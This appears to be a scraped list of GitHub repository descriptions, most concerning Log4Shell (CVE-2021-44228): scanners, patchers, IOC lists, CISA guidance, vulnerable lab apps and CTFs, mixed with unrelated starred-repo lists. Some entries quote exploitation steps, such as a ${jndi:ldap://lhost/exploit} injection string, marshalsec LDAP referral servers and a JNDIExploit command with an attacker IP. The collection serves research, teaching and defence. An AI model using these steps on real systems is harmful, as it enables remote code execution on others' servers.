CVE-2021-44228

Python script to map alert signatures to MITRE ATT&CK techniques.

MITRE ATT&CK Mapper This project provides a Python script to map alert signatures to MITRE ATT&CK techniques It uses the mitreattack-python library to fetch detailed information about MITRE ATT&CK techniques dynamically from the latest STIX data Table of Contents MITRE ATT&CK Mapper Table of Contents Features Prerequisites Installation Usage

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

Docker Log4J

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

Edwin's stars.

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents ANTLR ASL Ada Assembly AutoHotkey Awk Ballerina Batchfile Bicep Blade Brainfuck C C# C++ CMake CSS CUE Clojure CodeQL CoffeeScript Common Lisp Coq Crystal Cuda Cython D Dart Dhall Dockerfile Elixir Emacs Lisp Erlang F# F* Fennel Forth Fortran Frege GDScript Gherkin Go Groovy HCL HTML Haml Handle

Curated list of GitHub projects I starred over the years

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents API Blueprint ActionScript ApacheConf Astro C C# C++ CSS Clojure CoffeeScript Crystal DIGITAL Command Language Dart Dockerfile Elixir Elm Erlang FreeMarker Go HTML Handlebars Haskell Java JavaScript Jupyter Notebook Kotlin Less LiveScript Lua MATLAB MDX Makefile Markdown Mustache Nunjucks OCaml

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools) Fuzzing for HTTP POST Data parameters Fuzzing for JSON data parameters Supports DNS callback for vulnerability discovery and validation WAF Bypass

Details : CVE-2021-44228

JNDI-Exploit-12-log4shell Details : CVE-2021-44228 Usage : ----------------------------------------------------- java -jar JNDIExploit-12jar -i AttackerIP * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help --

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

WU Gloo Mesh POC Runbook Table of Contents Gloo Mesh Labs Introduction to Gloo Mesh Lab 0 - Prerequisites Lab 1 - Setting up your Environment Variables Lab 2 - Deploy Istio Lab 3 - Deploy the Bookinfo demo app Lab 4 - Deploy the httpbin demo app Lab 5 - Deploy and register Gloo Mesh Lab 6 - Create the gateways workspace Lab 7 - Create the bookinfo workspace Lab 8a - Expose the

CVE-2021-44228 こっちのお話の方がより実用性があると思います(泣)christophetd/log4shell-vulnerable-app 興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。 どうか、自己責任でお願いします。 再現環境を作る。 linux環境であれば動作すると思われます。 1 jd

Detect and fix log4j log4shell vulnerability (CVE-2021-44228)

log4fix This tool is to detect and fix the log4j log4shell vulnerability (CVE-2021-44228) by looking and removing the JndiLookup class from jar/war/ear files with zero dependencies for free This tool has been tested on: - Linux 32bit and 64 bit - Windows 32 bit and 64 bit - OpenBSD 64 bit This tool is written in the Go programming language which means zero dependencies and

Log4j Scans githubcom/fullhunt/log4j-scan log4shellhuntresscom/ wwwcyberdraincom/monitoring-with-powershell-detecting-log4j-files/ researchnccgroupcom/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/ githubcom/hillu/local-log4j-vuln-scanner githubcom/omrsafetyo/PowerShellSnippets/blob/master/In

log4j2-rce靶场

springboot-login-log4j2 项目介绍 在laoyogd的springboot-login项目的基础上引入了log4j2生成日志，作为复现CVE-2021-44228的靶场。 docker一键部署 githubcom/Ode1esse/springboot-login-log4j2-docker 本地调试 创建login数据库 create database login default character set utf8mb4 collate utf8mb4_general_ci; 导入initsql 运行项目之后�

A community sourced list of log4j-affected software

CISA Log4j (CVE-2021-44228) Vulnerability Guidance This repository provides CISA's guidance and an overview of related software regarding the Log4j vulnerability (CVE-2021-44228) CISA urges users and administrators to upgrade to Log4j 2171 (Java 8), 2124 (Java 7) and 232 (Java 6), and review and monitor the Apache Log4j Security Vulnerabilities webpage for updates a

Quick Deploy to show case cve-2021-44228

Cloud One - Workload Security Log4Shell This repo contains a quick deployment template to showcase CVE-2021-44228 LOG4SHELL exploit and Workload Security Intrusion Prevention Note on CFT deployment in AWS regions I only added AMI Id's for US-EAST-1, US-EAST-2, US-WEST-1, US-WEST-2, CA-CENTRAL-1, SA-EAST-1, EU-WEST-1 Deploy CloudFormation Template Parameters to Define:

Fun things against the abuse of the recent CVE-2021-44228 (Log4Shell) vulnerability using common web servers.

anti-jndi Fun things against the abuse of the recent CVE-2021-44228 (Log4Shell) vulnerability using common web servers Based on the post by @shipilev (gistgithubcom/shipilev/92e709a868f3d328b6636e1bfc21cf09) I ported his example to Apache2 A coworker did it for Lighttpd I decided to make our examples public for convenience Idea There are only few reasons to put th

Log4Shell dockerized full chain

Full-chain dockerized Log4Shell (CVE-2021-44228) Log4Shell (CVE-2021-44228) is a critical vulnerability in the popular log4j2 logging package This vulnerability is extremely easy to exploit, and was fixed in log4j2 version 215 This repository goal is to automate and construct the environment through a single click by using docker-compose and containers This could be useful

Zusammenspiel von SpringBoot und Logback und Log4j2 Dies ist ein kleines Beispielprojekt, welches das Zusammenspiel von SpringBoot und LogBack untersucht Keine Ahnung, warum wir Logback verwenden und nicht das neuere Log4j2! Im Rahmen von CVE-2021-44228 vulnerability in Apache Log4j library erweitere ich die Untersuchung noch ein klein wenig in Hinblick auf die Einbindung von

Code Insight v7 Inventory Keyword Search Script

Code Insight v7 Inventory Keyword Search Script This python script allows users to query their Code Insight v7 system and obtain a list of all projects potentially impacted by the Log4j security vulnerability (CVE-2021-44228) along with a listing of all potentially impacted inventory items using a multi keyword search Prerequisites The following prerequisites are requried to r

This repository contains all gathered resources we used during our Incident Reponse on CVE-2021-44228 and CVE-2021-45046 aka Log4Shell.

CVE-2021-44228: Log4j / Log4Shell Security Research Summary This repository contains all gathered resources we used during our Incident Reponse on CVE-2021-44228 and CVE-2021-45046 aka Log4Shell Threat Intel Mitigations / Fixes Malware Reports Advisory IOCs / Callback Domains / IP Addresses Honeypots Payloads / Obfuscation / WAF Bypass Vulnerability Scanning Exploitation

Log4j Scanner This repository provides a scanning solution for the log4j Remote Code Execution vulnerabilities (CVE-2021-44228 & CVE-2021-45046) The information and code in this repository is provided "as is" and was assembled with the help of the open-source community and updated by CISA through collaboration with the broader cybersecurity community This is

Log4j for nuclei

Log4jNuclei CVE-2021-44228 Log4j for nuclei Exploit javac Exploitjava python3 -m httpserver 80 java -cp marshalsec-003-SNAPSHOT-alljar marshalsecjndiLDAPRefServer 127001/#Exploit insert log ${jndi:ldap://lhost/exploit} /////// java -jar exploit/JNDI-Injection-Exploit-10-SNAPSHOT-alljar -C 'here_command' -A 0000

Log4j2 fix

Mule patcher A simple script that patches Mule anypoint studio, but it can be adapted for other projects as well Mule seems to work after the patch though deep dives need to be done for each application Note that the scala log4j drivers have not been patched yet Legal This is a quick and dirty tool, free to use and comes with NO WARRANTY at all Use at your own risk! Usage S

Bash and PowerShell scripts to scan a local filesystem for Log4j .jar files which could be vulnerable to CVE-2021-44228 aka Log4Shell.

Log4j-Checker This repository contains scripts that can help identity jar files which may be vulnerable to CVE-2021-44228 aka Log4Shell Log4Shell Hash Check This script will find jar files within the filesystem starting from a specific path, calculate a SHA-256 hash for each jar file found - regardless of the filename - and compare this value against a user-provided list of

CVE-2021-44228-VULN-APP NOTE: This is a vulnerable virtual machine for showing what actually is this vulnerability log4j, and so on! Installation: cd CVE-2021-44228-VULN-APP/ docker build -t log4j-shell-poc docker run --network host log4j-shell-poc Listening on port 8080

Go module to generate and transform VEX documents

go-vex Go library for generating, consuming, and operating on VEX documents This repository contains the OpenVEX Go source code This module lets authors create, modify and manage VEX documents The full documentation for this module can be found at pkggodev/githubcom/openvex/go-vex For more information about the OpenVEX specification implemented by this module,

Tools for remediating the recent log4j2 RCE vulnerability (CVE-2021-44228)

log4j-remediation-tools Tools for finding and reproducing the CVE-2021-44228 log4j2 vulnerability Tools find-vulnerabilities: determine heuristically whether a running JVM is vulnerable confirm-vulnerabilities: determine with 100% accuracy whether a running JVM is vulnerable Usage Both of these tools scan all running JVM processes on a machine, and produce a CSV report abou

永恒之恶龙-Log4j漏洞安全自查工具

ELong-永恒之恶龙 2021年12月9日晚上，Log4j的漏洞详情被公开了。至此，一个神洞出现了。我们给这个漏洞起了一个名字：永恒之恶龙！可以利用该工具更好的自测是否受该漏洞的影响，或是在授权的情况下可以利用该工具更好的进行漏洞探测或漏洞利用。作者将持续关注并逐步公布此漏洞�

LOG4J CVE-2021-44228 IOC IOC list of newly discovered zero-day vulnerability in widely used Java log library Apache Log4j IP Adress 2312964131 1679413858 2312964141 16214212544 2312964146 16214212543 2312964148 1679413842 8711811027 1042447455 18522010162 1851077056 1097010031 185220101187 185220101132 16214212542 4512134108

POC for CVE-2021-44228 within Springboot

log4j Spring vulnerable POC This is a POC for a simple spring boot start backend with maven including vulnerable log4j version for CVE-2021-44228 Spring boot bootstrapped with startspringio commands /mvnw spring-boot:run: start server /mvnw dependency:tree: print dependency tree and check for log4j version in use nc -k -l 3030: bash, start server socket to listen

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools) Fuzzing for HTTP POST Data parameters Fuzzing for JSON data parameters Supports DNS callback for vulnerability discovery and validation WAF Bypass

My Github Stars

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents Adblock Filter List AppleScript Batchfile Bikeshed C C# C++ CSS Clojure CoffeeScript Crystal D Dart Dockerfile Elixir G-code Go Groovy HCL HTML Haskell Java JavaScript Jinja Jupyter Notebook Less Lua MDX Makefile Markdown Mustache Nginx Nim Nunjucks OCaml Objective-C OpenSCAD Others PHP PLpgSQL

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it A video showing the exp

[Free Training Workshop] Learn how to prevent, detect and mitigate container based threats using Calico Cloud

prevent-detect-and-mitigate-container-based-threats Using a recent real-world example, we'll illustrate how to prevent, detect and mitigate the risk of container-based threats using Calico Cloud The Spring Boot web application used in this workshop is vulnerable to Log4Shell (CVE-2021-44228) Learning Objectives This workshop will teach you how to use Calico Cloud to pro

In deze publieke repo informeert Insignit over CVE's

cve-informatie In deze publieke repo informeert Insignit over CVE's CVE-2021-44228 Apache Log4J + CVE-2021-45046 PrintNightMare

Log4j2-CVE-2021-44228 介绍 Log4J的漏洞复现 软件架构 软件架构说明 安装教程 git clone giteecom/demonbhao/log4j2-cve-2021-44228git 安装JDK180以下版本 安装maven，打包需要 使用说明 编写你的poc代码块 编译Exploitjava javac Exploitjava 形成Exploitclass 开启LDAP协议 4开启http服务器，用python简单开启，�

java-slf4j-logging-example Log Level Just a clarification about the set of all possible levels, that are: ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF If the log level of system is INFO, then logs of the WARN, ERROR, FATAL, and OFF levels can be output normally Level Descript

A simple simulation of the infamous CVE-2021-44228 issue.

CVE-2021-44228 This repository represents a simplified simulation of infamous CVE-2021-44228 issue Aside from system properties and other dictionary structures lookups, Apache Log4j also implements JNDI lookup feature for various reasons The JNDI can obtain services from a number of service providers, such as LDAP, DNS, Java RMI registry, etc The JNDI itself is a simple and

Playground repo to try out Log4j related things

Learning-Log4j2 Background See githubcom/vorburger/Log4j_CVE-2021-44228 Providers & Priorities $ /gradlew run Jan 14, 2022 6:30:52 PM chvorburgerlog4jApp main INFO: hello, world As we can see, this logged "hello, world" using JUL to the console (unless otherwise configured) It uses the (new) log4j-to-jul mo

LOG4SHELL-CVE-2021-44228-Validator About This tool allows you to verify whether a simple Java web app is vulnerable to CVE-2021-44228 for a user provided version of Java and of Log4J You can also [optionally] apply one of a view pre-defined mitigations The simulation lab spun up by log4shell_validatorpy uses docker-compose to simulate exploiting the log4j vulnerability and

sample-vulnerable-log4j-direct-app This repository is a sample repository that is vulnerable to CVE-2021-44228 Repro of vulnerability First, visit canarytokensorg/ and create a new Log4Shell token (that emails you when it gets triggered) Then run the following command in this repository, where the --args value is the ${jndi:} value that you got when creating the ca

A Terraform to deploy vulnerable app and a JDNIExploit to work with CVE-2021-44228

log4j-vulnerable-app-cve-2021-44228-terraform A Terraform to deploy vulnerable app and a JNDIExploit to work with CVE-2021-44228 About Stack This terraform creates two instances on a VPC in AWS Cloud You just need to export your AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY One instance is JNDIExploit Second is a Vulnerable-App to log4j exploit Please replace your SSH-Public-Ke

sample-vulnerable-log4j-indirect-app This repository is a sample repository that is vulnerable to CVE-2021-44228 because it indirectly depends on a vulnerable version of log4j via its dependency on githubcom/sgtest/sample-vulnerable-log4j-direct-lib Repro of vulnerability First, visit canarytokensorg/ and create a new Log4Shell token (that emails you when it g

Tool that runs a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046

log4shelltools log4shelltools is a tool that allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046 This is the code that runs log4shellalexbakkerme If you'd like to inspect the code or run an instance in your own environment, you've come to the right place

Log4jExploitDemo A log4j vulnerable app used in a log4j session as a demo and proof of concept for the recently discovered CVE-2021-44228 vulnerability Setup and exploitation Steps Compile Exploitjava and start http server cd Log4jExploitDemo/exploit javac Exploitjava start http server，python python3 -m httpserver or php，php -S 127001:8000 Start ldap server git

MIDF Internship

##Learn From Internship [Since 11 October 2022] CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell) – This issue happens on 6 December 2021 Window Command Prompt: • shutdown –s –t 5: It means that the computer will shut down after 5 seconds Ubuntu Terminal Learning (cowsay): • uname &

Docker images and k8s YAMLs for Log4j Vulnerability POC (Log4j (CVE-2021-44228 RCE Vulnerability)

Log4j Vulnerability - Proof-of-concept This repo has the docker and k8s YAMLs that are needed to recreate the log4j vulnerability (seel below) Follow this blog to understand how all of this is tied together Build Docker Images In case you need to customize the docker images cd <Git-Repo>/web-server make build push cd

log4shell CVE-2021-44228 - demo :) 1 Run log4shell vuln app podman run -p 8080:8080 quayio/apoczeka/log4shell-vuln:latest 2 Run "exploit server" podman run -p 1389:1389 -p 8888:8888 quayio/apoczeka/log4shell -i <host_address> -l 1389 -p 8888 <host_address> i

C parody of log4j

log4c C parody of the log4j RCE exploit (CVE-2021-44228) Logs stuff to console, also happens to run ${expressions} for convenience :) Build instructions (with MinGW Makefiles generator) Replace the generator with whatever you use mkdir build cd build cmake -G "MinGW Makefiles" cmake --build Dont actually use this

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it A video showing the exp

CVE-2021-44228(Apache Log4j Remote Code Execution） all log4j-core versions >=20-beta9 and <=2141 The version of 1x have other vulnerabilities, we recommend that you update the latest version Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228) Usage: download this project, compile the exploit code blob/master/src/main/java/Exploitjava, an

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app@

Simple demo for Anchore Enterprise, including with multiple CICD workflow examples.

2022-09-enterprise-demo Simple demo for Anchore Enterprise Includes workflow examples for Jenkins, CircleCI, Codefresh, Drone, and GitHub Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (

Log4j-IOCs 21 Dec 2021 21 Aralık 2021 669733213 1209249188 45176232125 17324941126 1641002219 1678675145 143110242174 6916346110 18522010160 1649022265 1501589554 202283499 17818247225 15594151182 1942255812 1101012934 632503966 89187177203 775521041 206189227177 89223120178 681838474 34725439 7420818630 4

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

This demo repository is scanned by our lab jenkins pipeline

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository we have made and example vulnerable application and proof-of-concept (POC) exploit of it A video showing the exp

Detector for Log4Shell exploitation attempts

log4shell-detector Detector for Log4Shell exploitation attempts What it does and doesn't do It does: It checks local log files for indicators of exploitation attempts, even heavily obfuscated ones that string or regular expression based patterns wouldn't detect It doesn't find vulnerable applications It doesn't and can't verify if the exploitation att

An agent-based approach to mitigating log4shell

JndiLookupRemover A Java agent which mitigates CVE-2021-44228 (log4shell) by patching the JndiLookup class How to use Download the latest release and add it as a Java agent to your application using -javaagent:<release jar path> What it does JndiLookupRemover patches log4j so that JNDI lookups return the static string !!PREVENTED JNDI LOOKUP!! This prevents the

OpenCensus - A stats collection and distributed tracing framework ❗ The opencensus-contrib-log-correlation-log4j2 Java client library is part of the OpenCensus project CVE-2021-44228 and CVE-2021-45046 disclosed security vulnerabilities in the Apache Log4j 2 version 215 or below The recent version v0283 depends on Log4j 2111 A number of previous versions also

Exploits for sbomexe The commands needed to run the the fingerprint phase and the agent h2-console (CVE-2021-42392) fingerprint java -jar classfile-fingerprint/target/classfile-fingerprint-0131-SNAPSHOTjar jdk -o /sbjsonl java -jar classfile-fingerprint/target/classfile-fingerprint-0131-SNAPSHOTjar supply-chain -i /sb1jsonl -s ~/Desktop/chains/sbomexe-poc/h2-consol

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app --rm -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

A python interface for the NVD API, not endorsed by NVD.

NVDInterface NVDInterface is a python library to simplify retrieving and interacting with data from the National Vulnerability Database (NVD) This project is currently in the early stages of development and will hopefully see changes soon, however is being made available early for others to use, test, and request changes on Install (venv) $ pip install nvdinterface

AWS Shell for FireSim

AWS FPGA Shell for FireSim This is a fork of aws-fpga used for FireSim More information about this repo can be found in the FireSim Changelog Below is the standard aws-fpga documentation from upstream Table of Contents Overview of AWS EC2 FPGA Development Kit Developer Support Development Flow Development environments FPGA Developer AMI FPGA Hardware Development Kit (HDK)

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

log4jdockerfile

log4jpwn log4j rce test environment See: wwwlunasecio/docs/blog/log4j-zero-day/ This repository contains an intentionally vulnerable playground to play with CVE-2021-44228 (aka: log4shell) Experiments to trigger the vulnerability in various software products mentioned here can be found in the vuln-software/ directory examples using the included python poc build Ei

漏洞数据分析系统 系统实体关系 本系统包含以下主要实体及其关系： Vulnerability（漏洞） 属性：cve_id, published_date, description, CPEs, CWE, CVSS2 关系： AFFECT -> Software AFFECT_VERSION -> Version FIX -> Software Software（组件） 属性：name, author, url 关系： HAS -> Version REUSE ->

Log4Shell Exploiter - Agent Plugin for Infection Monkey Introduction Log4Shell Exploiter is an Agent Plugin for Infection Monkey that exploits CVE-2021-44228 It affects the Apache Log4j,a Java logging framework The plugin will attempt to exploit the vulnerability in three service: Apache Solr Apache Tomcat Logstash For more information, see the Log4Shell Exploiter Plugin do

AIG Shield Up Cybersecurity Program The AIG Shield Up Cybersecurity Program is a virtual internship hosted on Forage 👉 Learn more and participate here From Simulation to Reality: Tackling Zero-Day Vulnerabilities and Ransomware Attacks Time Period: June 2024 Overview This repository contains insights and strategies I developed while participating in the AIG Cybersecurity Vi

OpenSCA is an open source software supply chain security solution that supports the detection of open source dependencies, vulnerabilities and license compliance with a widely noticed accuracy by the community.

Manage Open Source Risks via Open Source Solution English|中文 Introduction Detection Ability Download & Deployment Use OpenSCA Parameters Report Formats Sample Scan & Report via Docker Container Local Vulnerability Database The Format of the Vulnerability Database File Explanations of Vulnerability Database Fields Sample of Setting the Vulnerabi

sample-vulnerable-log4j-indirect-app This repository is a sample repository that is vulnerable to CVE-2021-44228 because it indirectly depends on a vulnerable version of log4j via its dependency on githubcom/sgtest/sample-vulnerable-log4j-direct-lib Repro of vulnerability First, visit canarytokensorg/ and create a new Log4Shell token (that emails you when it g

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell It uses Log4j 2141 (through spring-boot-starter-log4j2 261) and the JDK 180_181 Running the application Run it: docker run --name vulnerable-app -p 8080:8080 ghcrio/christophetd/log4shell-vulnerable-app

log4cats Project Goals log4cats attempts to make referentially transparent logging a reality These F algebras allow you to write code for logging knowing you won't be doing side-effects as it offers no way to do so We provide our own slf4j layer, or you can use any of the supported backends, or create your own Quick Start To use log4cats in an existing SBT project wit

minecraft-ctf Wprowadzenie Witamy w minecraft-ctf, wyjątkowym wyzwaniu CTF stworzonym specjalnie dla Was! Twoim zadaniem będzie zdobycie flagi, wykorzystując podatność Log4j oraz kilka innych narzędzi, a to wszystko co najlepsze, z użyciem gry, którą chyba każdy zna! Przygotuj się na fascynujące wyzwanie! Owocnego hackowania i udanej zabawy! Zasady CTF Uruchom

This repository is for Log4j 2021 (CVE-2021-44228) Vulnerability demonstration and mitigation.

Log4Shell This repository is for Log4j 2021 (CVE-2021-44228) Vulnerability demonstration and mitigation What is Log4Shell? The CVE-2021-44228 / Log4Shell vulnerability consists of injecting vulnerable software with a malicious payload, which will ask Log4J to obtain a value from a third-party source, with JNDI and through the LDAP protocol The imported data can be code, w

Sysdig Onprem Install Documentation The Sysdig Platform is a highly available application for securing and monitoring cloud-native infrastructures Table of Contents Oversight Services Now Offered for All Installs and Upgrades Supported Migration Paths Oversight Services Now Offered for All Installs and Upgrades Note As part of our continued focus on our customers, we are no

Log4shell Updater Documentation Table of Contents English What exactly does the tool do? Compatible iFinder versions How to apply the tool step-by-step: Deutsch Was genau macht das Tool? Kompatible iFinder-Versionen So wenden Sie das Tool Schritt für Schritt an: English In order to close vulnerabilities related to the log4shell problem (CVE-2021-44228) we prov

Java Software Security Course Work and Projects

CS-305 Java Software Security Course Work and Projects Alexandrea Teigeler 2022 #--------------------------------------------------------------------------------------------------------------# Briefly summarize your client, Artemis Financial, and their software requirements #--------------------------------------------------------------------------------------------------------

just a temp area for a few trials, please don't clone :)

This is the WORK-IN-PROGRESS repository for Mark59 - be aware it may NOT always be in a completely consistent state Mark59 Documention, Guides, Downloads and More Available at the wwwmark59com website Releases Release 60-beta-2 Refine Playwright Options for Scripting Scripting samples moved to mark59-scripting-samples, mark59-scripting-sample-dsl Cr

Log4J Updater Bash Script to automate the framework update process on numerous machines and prevent the CVE-2021-44228

Log4j Updater With the inevitable need to update the famous Java framework called Log4j, numerous companies are needing to update Log4j on several computers at the same time, which takes time and cost, and that's where the Log4j Updater comes in log4jupdatersh is a simple bash script with the aim of automatically detecting the package manager to be used by the system and

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URLs with multithreading

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading The script "log4j-detectpy" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228 To do so, it sends a GET request using threads (higher performance) to each of th

my awesome star list

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents C C# C++ CSS CUE Clojure Dockerfile Go HCL HTML Haskell Java JavaScript Jinja Jsonnet Jupyter Notebook Just Lua MDX Makefile Markdown Mustache Open Policy Agent Others Python Riot Roff Ruby Rust SCSS Shell Smarty Starlark Svelte Swift TypeScript Vim Script Vue C appview-team/appview - Gain ins

Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228 introduction A Remote Code Execution vulnerability has been found related to the Java logging library Log4j CVE-2021-44228 This vulnerability has caused a stir in the global cyber community, since the Wannacry we have not seen such an impact the reason: Most apps written in Java are thought to be affected and vulnerable, parti

Log4jSherlock Version 1020211219 Overview Log4j Scanner coded in Powershell, so you can run it in windows! This tool scans for JAR, WAR, EAR, JPI, HPI that contain the effected JndiLookupclass even in nested files Scans nested files searches for the effected JNDI class pulls version and reports in CSV, JSON, and txt log reports error ie access issues to folders where

Web Security Experimental Spring Application for TIC4304

Content Management System MVC This is a simple Spring MVC 5x application project built with Maven, incorporating dependencies such Bootstrap, J2EE and Spring Security Module Originally built for an interview coding assignment even though the author did not eventually work for that company Full source code is released under GNU GPL v3 PS The project is misnamed CRMMVC, sho

Vulnerable Spring Boot 2 Java Web Application - CVE-2021-44228 - Log4Shell This Spring Boot Application contains a vulnerable log4j (Version 2141) log, that is exploitable with the CVE-2021-44228 git clone githubcom/gramou/vuln-log4j2git cd vuln-log4j2 sudo docker build -t vulnlog4j2

cve-2021-44228-log4j-test 테스트 1 LDAP 서버와 해킹 파일 다운로드 서버 11 Docker-compose 실행 docker-composeyml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest container_name: ldap environment: ROOT_USER_DN: "cn=han" ROOT_PASSWORD: "han" BASE_DN: "dc=bumbing,dc=x

Third party message exporter made in golang

Message Format Slack { "applicatoin": "slack", "webhookUrl": "<SLACK_WEBHOOK_URL>", "scanType": "image_scan", "vulnerabilities": [ {"cve": "CVE-2021-44228", "severity": "Critical", "description": "Log4j vulnerability&

Fixes CVE-2021-44228 in log4j by patching JndiLookup class

log4j-vulnerability-patcher-agent This agent fixes critical vulnerability CVE-2021-44228 in log4j by patching JndiLookup class, as recommended here WARNING: this is not a substitute for proper upgrade to log4j 2150, where this vulnerability was fixed for good Use this agent IF, and ONLY IF, you can't upgrade log4j in your app Agent can run on JRE 8 and higher, in any

tests with HC Vault and NTC

Hashi Vault JS This module provides a set of functions to help JavaScript Developers working with HashiCorp Vault to authenticate and access API endpoints using JavaScript promises This package is NOT affected by the log4shell CVE-2021-44228 vulnerability! Requirements (MacOS/Windows) NodeJs Minimum: v16x Recommended: v18x npm Tested on: v92x HashiCorp Vault

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it Proof-of-concept (POC) As a

Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability pre and post auth.

Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability with custom payloads Disclaimer I am not responsible for your actions, burp-suite freezing, target getting hacked, thermonuclear war, or the current economic crisis caused by you following these directions YOU are choosing to use this to

Minecraft Vagrantbox for Log4Shell demo

LastLog4J - Demo VM for Log4Shell This project is a semi-automated homelab for exploiting the Log4Shell (CVE-2021-44228) vulnerability in Minecraft This CTF style lab has a flag called ~/secretstxt The goal is to use the use the malicious LDAP server running on 1723015 to get Remote Code Execution within the game and read the contents of the file Background Back in Dec 2

Log4j2 LDAP 취약점 테스트 (CVE-2021-44228)

Log4j2 2141 LDAP 원격 코드 실행 취약점(CVE-2021-44228) 확인 🎈 Spring Boot 2x 환경에서 테스트 취약점 공지 nvdnistgov/vuln/detail/CVE-2021-44228 target-server pomxml : Log4j2 버전을 취약버전으로 낮춤 <properties> <javaversion>17</javaversion> <!-- 현재 설정된 Sp

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools) Fuzzing for HTTP POST Data parameters Fuzzing for JSON data parameters Supports DNS callback for vulnerability discovery and validation WAF Bypass

Codeql 学习笔记 Codeql 概述 Codeql 本质上就是写各种过滤条件和数据流跟踪，感觉像是在写面向对象的 SQL。建议先掌握面向对象的思想、一门面向对象的编程语言，以及 SQL 的编写。 Codeql 的工作原理主要是通过分析引擎来分析代码关系，生成一个代码数据库，然后可以用 QL 语言进行各种�

Log4shell docker lab using christophetd's vulnerable app and mbechler's marshalsec

log4shell-dockerlab Credits All credits goes to the original authors I just git-cloned and created a docker-compose file, that's all LunaSec - log4shell 0-day @christophetd - log4shell-vulnerable-app @mbechler - marshalsec @tangxiaofen7 - Exploitjava Description This repository contains a docker-compose setup which starts an attacker LDAP server and a victim web serve

